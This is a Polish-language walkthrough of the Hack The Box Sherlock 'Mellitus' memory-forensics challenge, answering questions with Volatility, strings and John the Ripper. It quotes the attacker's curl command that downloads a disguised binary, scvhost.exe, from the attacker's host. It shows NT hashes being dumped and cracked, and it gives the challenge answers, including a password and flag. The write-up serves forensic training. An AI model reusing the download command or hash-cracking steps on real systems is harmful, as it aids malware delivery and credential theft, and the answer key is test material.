HTB Sherlock - Mellitus Writeup
Scenariusz Zadania
Byłeś analitykiem SOC przez ostatnie 4 lata, ale przez ten czas doskonaliłeś swoje umiejętności w zakresie reagowania na incydenty! Nadszedł czas, aby podjąć ryzyko i ubiegać się o wymarzoną pracę jako Specjalista ds. Reagowania na Incydenty, ponieważ to jest ścieżka, którą chcesz podążać w swojej karierze. Obecnie przechodzisz przez proces rekrutacji do średniej wielkości wewnętrznego zespołu ds. reagowania na incydenty, a pewny siebie rekruter zadał Ci trudne techniczne wyzwanie, aby sprawdzić Twoje umiejętności w zakresie analizy pamięci. Czy uda Ci się odpowiedzieć na wszystkie pytania poprawnie i zdobyć tę pracę?
(ang. You’ve been a SOC analyst for the last 4 years but you’ve been honing your incident response skills! It’s about time you bite the bullet and go for your dream job as an Incident Responder as that’s the path you’d like your career to follow. Currently you are going through the interview process for a medium size incident response internal team and the cocky interviewing responder has given you a tough technical challenge to test your memory forensics aptitude. Can you get all the questions right and secure the job?)
Rozwiązanie
Zadanie 1
Jaką godzinę wskazywał system w momencie przechwycenia pamięci?
(ang. What was the time on the system when the memory was captured?)
Za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem windows.info
uzyskujemy podstawowe informacje na temat przechwyconego zrzutu pamięci (Rys. 1).
Odpowiedź: 2023-10-31 13:59:26
Zadanie 2
Jaki jest adres IP atakującego?
(ang. What is the IP address of the attacker?)
Za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem windows.netstat
wyświetlimy wszystkie nawiązane połączenia w momencie wykonania zrzutu. Tylko jeden port będzie się wyróżniał, mianowicie port 4545
(Rys 2).
Odpowiedź: 192.168.157.151
Zadanie 3
Jak nazywa się dziwny proces?
(ang. What is the name of the strange process?)
Nie mogłem ustalić nazwy procesu, ponieważ netstat nie pokazywał PID ani nazwy. W związku z tym skorzystałem z niezawodnych narzędzi grep i strings, co pozwoliło mi również znaleźć odpowiedź na zadanie 5 (Rys 3).
Odpowiedź: Scvhost.exe
Zadanie 4
Jaki jest PID procesu, który uruchomił złośliwy plik binarny?
(ang. What is the PID of the process that launched the malicious binary?)
Po wykryciu nazwy procesu w poprzednim zadaniu, za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem windows.pstree
wylistowałem drzewo procesów na systemie, a następnie znalazłem jego PID (Rys. 4).
Odpowiedź: 6772
Zadanie 5
Jakie polecenie wprowadziło złośliwy plik binarny na maszynę?
(ang. What was the command that got the malicious binary onto the machine?)
Odpowiedź znaleziona w zadaniu 3.
Odpowiedź: curl -o scvhost.exe http://192.168.157.151:8000/scvhost.exe
Zadanie 6
Atakujący próbował uzyskać dostęp do naszego hosta za pomocą FTP. Ilu użytkowników próbował?
(ang. The attacker attempted to gain entry to our host via FTP. How many users did they attempt?)
Za pomocą poleceń grep oraz strings znalazłem logi z prób logowania na serwer FTP. Zawierały one nazwy użytkowników (Rys 5).
Odpowiedź: 3
Zadanie 7
Jaki jest pełny adres URL ostatniej strony internetowej, którą odwiedził atakujący?
(ang. What is the full URL of the last website the attacker visited?)
Najpierw w listach procesów znalazłem, że używany jest Google Chrome. Następnie pobrałem wszystkie pliki związane z tym procesem za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem -o ../mellitus windows.dumpfiles --pid 8048
. W pobranych plikach udało mi się znaleźć bazę danych zawierającą historię przeglądania użytkownika, o nazwie file.0xc40aa9259df0.0xc40aa4ec6be0.SharedCacheMap.History.vacb
. Następnie, w tabelach znalazłem ostatni wpis (Rys. 6).
Odpowiedź: https://stackoverflow.com/questions/38005341/the-response-content-cannot-be-parsed-because-the-internet-explorer-engine-is-no
Zadanie 8
Jakie jest hasło zafektowanego użytkownika?
(ang. What is the affected users password?)
Najpierw za pomocą polecenia python vol.py -f ../mellitus/memory_dump.vmem windows.hashdump
wykonałem zrzut hashy z pamięci. Następnie, za pomocą polecenia john tools/htb/hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=NT
, otrzymałem wersję jawną hasła.
Odpowiedź: flowers123
Zadanie 9
Jest ukryta flaga związana z PID 5116. Czy możesz potwierdzić, czym ona jest?
(ang. There is a flag hidden related to PID 5116. Can you confirm what it is?)
Za pomocą polecenia python3 vol.py -f ../mellitus/memory_dump.vmem -o ../mellitus windows.dumpfiles --pid 5116 -dump
wykonałem zrzut pamięci procesu. Następnie otworzyłem plik za pomocą GIMP, wybierając opcję “Raw image data” i ustawiłem offset, aż na podglądzie pojawił się obraz lub jednolity kolor (Rys 8).
Odpowiedź: you_Foundme!